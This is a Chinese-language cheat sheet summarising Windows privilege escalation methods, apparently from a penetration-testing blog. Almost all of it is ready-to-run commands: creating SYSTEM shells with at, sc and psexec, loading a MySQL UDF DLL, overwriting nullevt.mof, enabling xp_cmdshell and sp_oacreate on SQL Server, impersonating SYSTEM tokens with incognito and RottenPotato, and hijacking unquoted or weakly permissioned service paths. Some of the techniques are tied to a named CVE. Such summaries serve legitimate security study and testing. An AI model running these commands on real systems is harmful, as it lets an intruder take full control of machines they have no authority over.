windows提权总结
文章目录
溢出漏洞提权
拿到服务器普通权限→上传溢出程序→提权至administrator。
内核溢出漏洞总结:https://github.com/SecWiki/windows-kernel-exploits/
1)筛选服务器未打的补丁。常用工具有:
vulmap(powershell执行)
WindowsVulnScan-master
wesng
2)查找未打补丁对应能提权的的漏洞
3)利用msf提权
例:
靶机上执行systeminfo保存systeminfo.txt
攻击机上运行 python .\wes.py .\systeminfo.txt 筛选出未打的补丁
没有 打cve-2018-8120 对应的KB4131188补丁,所以我们可以利用 cve-2018-8120 进行提权
at&sc&ps命令提权
at命令(适用win7之前)
at命令是一个计划命令,可以在规定时间完成一些操作,这个命令调用的是system权限
at 21:26 /interactive cmd.exe //给系统添加一项作业,在21:26打开cmd命令
at //查看作业详情
at/del //删除作业
sc命令 (适用2003)
SC命令能与“服务控制器”和已安装设备进行通讯。SC是用于与服务控制管理器和服务进行通信的命令行程序
sc create syscmd binPath= "cmd /K start" type= own type= interact //创建一个名叫syscmd的新的交互式的cmd服务
sc start syscmd //执行得到system权限的cmd
ps命令(上传pstools到服务器)
pstools是微软官方工具,是为windows提供的第三方工具库
pstools下载
psexec.exe -accepteula -s -i -d cmd.exe //得到system权限的cmd
数据库提权
mysql
UDF提权
什么是udf
udf = “user defined function”,即‘用户自定义函数’。是通过添加新函数,对MYSQL的功能进行扩充.
首先判断数据库版本,然后将dll文件导入目标服务器。
MySQL<5.0,导出路径随意;
5.0 <= MySQL<5.1,则需要导出至目标服务器的系统目录(如:c:/windows/system32/)
MySQL 5.1以上版本,必须要把udf.dll文件放到MySQL安装目录下的lib\plugin文件夹下才能
上传udf.dll 将udf.dll导出到目标目录,然后执行sql语句创建用户自定义函数,再执行命令提权
create function cmd_shell returns string soname 'udf.dll';#创建函数
select cmd_shell(‘whoami’);#使用函数
drop function cmd_shell; #删除函数
MOF提权
在windows c:/windows/system32/wbem/mof/nullevt.mof这个文件会每间隔一段时间就会以system权限执行一次,所以,将mof提权文件上传到/mof/目录下并覆盖掉nullevt.mof
要求:
windows 03及以下版本
mysql启动身份具有权限去读写c:/windows/system32/wbem/mof目录
secure-file-priv参数不为null
将恶意mof文件替换到mof目录下
select load_file('mof文件路径') into dumpfile 'c:/windows/system32/wbem/mof/nullevt.mof'
启动项提权
首先开启mysql数据库外联
然后使用msf启动项模块向目标机器写入后门
最后等待目标服务器重启,执行启动项中的后门
sql server
xp_cmdshell提权
扩展存储过程中xp_cmdshell是一个开放接口,可以让SQLserver调用cmd命令,xp_cmdshell 默认在 mssql2000 中是开启的,在 mssql2005 之后的版本中则默认禁止。如果用户拥有管理员 sa 权限则可以用 sp_configure 重新开启它
启用xp_cmdshell命令:
EXEC sp_configure 'show advanced options', 1
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1;
RECONFIGURE;
执行:EXEC master.dbo.xp_cmdshell ‘whoami’
sp_oacreate提权
调用 OLE 对象,利用 OLE 对象的 run 方法执行系统命令
启用:
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE WITH OVERRIDE;
EXEC sp_configure 'Ole Automation Procedures', 1;
RECONFIGURE WITH OVERRIDE;
执行:
declare @shell int exec sp_oacreate ‘wscript.shell’,@shell output exec sp_oamethod
@shell,‘run’,null,‘c:\windows\system32\cmd.exe /c whoami >c:\1.txt’
令牌窃取提权
administrator权限提更高权限
例:
利用msf取得主机权限后
use incognito //进入incognito模块
list_tokens -u //列出可用令牌
impersonate_token "NT AUTHORITY\SYSTEM" //进行提权
Delegation Token:也就是授权令牌,它支持交互式登录(例如可以通过远程桌面登录访问) Impresonation Token:模拟令牌,它是非交互的会话。
RottenPotato(烂土豆)配合令牌窃取
烂土豆就是俗称的MS16-075,从低权限提升高权限
msf拿到会话后:
use incognito //进入incognito模块
upload /root/potato.exe c:/ //上传烂土豆到目标
cd C:\\Users\\Public
execute -cH -f c:/potato.exe //创建新的进程
list_tokens -u //列出可用令牌
impersonate_token "NT AUTHORITY\SYSTEM" //进行提权
DLL劫持提权
有些应用启动会加载一些dll文件,我们可以将需要加载的dll文件替换成dll木马,那么应用在启动时就会加载木马。具体怎么分析加载什么地方的什么dll,可以在本地用火绒剑进行分析。
首先收集应用加载的dll
然后msf制作dll木马
将目标服务器上原本加载的dll替换成我们制作的木马
kali监听,启动应用
再利用令牌窃取提升system
不带引号的服务路径配合msf提权
这是某个服务的可执行文件路径
一个服务的可执行文件路径如果有空格且没用双引号,可能造成如下漏洞
比如一个可执行文件路径是
“c:\program data\2.exe” -p //正确写法 路径用双引号引起
c:\program data\2.exe -p //错误写法
不带引号相当于执行c:\program
可以在c盘下生成一个program的木马,服务启动便会加载木马
例:
查找有漏洞的服务:wmic service get name,displayname,pathname,startmode |findstr /i "Auto" |findstr /i /v "C:\Windows"|findstr /i /v """
在c:下生成名称为program的后门
kali监听 ,启动服务
不安全的服务权限配合MSF提权
检测服务权限配置-制作文件并上传-更改服务路径指向-启动服务
需要下载accesschk文件
accesschk.exe -uwcqv "administrators" * //检测可修改的服务项
sc config "NewServiceName" binpath="C:\Program.exe" //将服务路径重定向
sc start "NewServiceName" //重新启动服务
其他方法
1.各种cve提权
2.进程注入
3.Bypassuac提权
4.Unattended Installs
5.AlwaysinstallElevated**